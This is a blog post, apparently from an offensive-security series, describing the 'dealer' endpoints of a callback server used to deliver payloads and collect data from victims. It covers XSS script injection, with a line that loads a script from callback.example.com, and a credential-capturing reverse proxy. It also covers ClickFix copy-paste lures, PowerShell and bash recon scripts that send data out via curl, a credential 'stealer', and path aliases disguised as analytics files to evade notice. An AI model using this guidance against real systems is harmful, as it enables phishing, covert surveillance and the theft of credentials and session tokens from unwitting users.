Second post in the Offensive Callback series. This one is about dealers: the server-side collection endpoints that define what happens when a request arrives and how telemetry gets delivered back.
If you haven’t read the first post about the server architecture, start there. Here I’m going to focus entirely on the dealer system.
What is a dealer
A dealer is a named endpoint registered in dealers.json. When an inbound HTTP request matches a dealer, the server executes that dealer’s configured behaviour — serving a file, redirecting, proxying, responding with a pixel — while always logging the hit and running the enrichment pipeline regardless of the response type.
Think of dealers as collection points: you deploy them (embed in a page, send via phishing, inject through XSS, serve through a proxy) and they silently gather telemetry.
Routing logic
The dealer engine applies this lookup chain on every inbound request:
1 | 1. Match URL path against aliases[] |
The pixel fallback is intentional. Unknown paths don’t 404 — they return a valid PNG so the request looks like a normal asset load in browser dev tools. Every request that hits step 3 is still logged with full source IP and headers.
If a dealer is "status": "inactive", the engine drops the request and returns the pixel with no logging. Useful to silently deactivate a collection point without removing it.
The routing code in dealer.js also handles the distinction between image requests and generic requests automatically — if the URL ends in .png, .jpg, .gif, etc., it always returns the pixel regardless of dealer type.
Dealer types
The type field controls what the server serves back.
XSS
This is the main one. Serves the JavaScript fingerprinting payload as a .js file or wrapped in an HTML shell. Once a browser executes it, you get the full browser fingerprint, device data, screenshots, storage dumps, and a persistent WebSocket connection. Everything.
Delivered via:
- Script tag injection in a vulnerable page:
<script src="https://callback.example.com/dl"></script> - XSS in a form field, comment, or URL parameter
- Embedded in a phishing page
XSS-PROXY
A transparent reverse proxy that injects the JS dealer into every HTML response it proxies. Every page served through it gets the payload injected. The victim browses what looks like the real site — but the proxy captures session tokens, form submissions, and credentials from the proxied pages as they type.
This runs server-side: the callback server makes the upstream request, injects the script tag, and forwards the modified response. No special browser config needed on the victim’s end.
HTML
Serves a raw HTML file. Can contain anything — CSS tracking pixels, custom phishing pages, payload delivery pages. Combined with a URL-REDIRECT dealer you can build multi-stage delivery chains.
URL-REDIRECT
Logs the hit then immediately redirects to the configured redirect URL. Can optionally wrap the redirect target in a page that first loads the JS dealer before forwarding. Useful when you control the delivery URL but not the landing page.
powershell
Serves a PowerShell script. For Windows targets: collects hostname, ARP table, active network connections, installed software list, current user context, and environment variables. The script POSTs results back to the server.
1 | # Dealer serves this |
bash / sh
Same idea, Linux side. Collects kernel version, hostname, running processes, network interfaces, open ports, and environment. Exfiltrates via curl. Useful when you can get someone to execute a one-liner (ClickFix scenario, fake update prompt, copy-paste social engineering).
PHP-PROXY / JSP-PROXY / ASP-PROXY
Server-side proxy variants for different tech stacks. When you’re dropping a file on a compromised web server and want the proxy to be written in the server’s native language, these handle injection for PHP, Java (JSP), and ASP.NET targets respectively.
COPY/PASTE
A payload designed to be copy-pasted into a browser console or a document. The classic ClickFix technique — victim is instructed to open DevTools and paste “to fix an error” or “to verify they’re human”. The payload runs in the current page context with full access to DOM, cookies, and storage.
stealer
Dedicated credential and data capture dealer. Receives and stores structured exfiltration payloads — username/password pairs, token dumps, form data. Has its own UI in the dashboard separate from the general log view.
IMG-PING
Just a pixel. No payload. Logs source IP, headers, and timestamp. Embed anywhere you can put an image tag — email HTML, office documents, cached web pages, PDF files. The simplest possible collection point.
Dealer configuration
A dealer entry in dealers.json:
1 | { |
The aliases array is where the stealth comes in. Your dealer can be served from /assets/tracker.js or /cdn/analytics.min.js — paths that look like normal third-party analytics to anyone glancing at network traffic. The total_requests counter and time_request timestamps are managed automatically by the server.
Loot mode
When "loot": "1" is set on a dealer, collected data is flagged as high-value loot in the dashboard. The distinction is just organizational — in practice I use loot mode for dealers deployed in specific operations where I’m tracking a particular target, separating that data from background noise.
Serving dealer files
The server resolves dealer files relative to DEALERS_PATH (default ./Sources/dealers). The default directory contains:
dl.full.min.js— full JS payload (~10k lines, includes html2canvas, hashing libraries, full fingerprinting + exfiltration + LAN scanner)dl.med.min.js— medium payload (fingerprinting + WebSocket, no screenshot)dl.low.min.js— minimal payload (basic fingerprint only, lightest footprint)dealer.php— PHP dealer file for PHP-PROXY typedealer.ps1— PowerShell recon scriptdealer.sh— Bash recon script
Choosing between full/med/low is about operational trade-offs: the full payload does more but is larger and may trigger more script analysis. The low payload is the stealthiest but collects less.
Active management
From the dashboard’s /options panel you can toggle dealers active/inactive, change aliases, and view request counts per dealer. No server restart required — the dealer engine reloads dealers.json on each request.
This means you can hot-swap a dealer type mid-operation, deactivate it when the target is done, or rotate aliases if you suspect the current path is being watched.
Next post: the full JavaScript payload — what dl.full.min.js actually does when it runs in a browser.
![Keramon [Child / Virus] Keramon](/blog/img/digimon-pets/keramon.gif)
![Chrysalimon [Adult / Unknown] Chrysalimon](/blog/img/digimon-pets/chrysalimon.gif)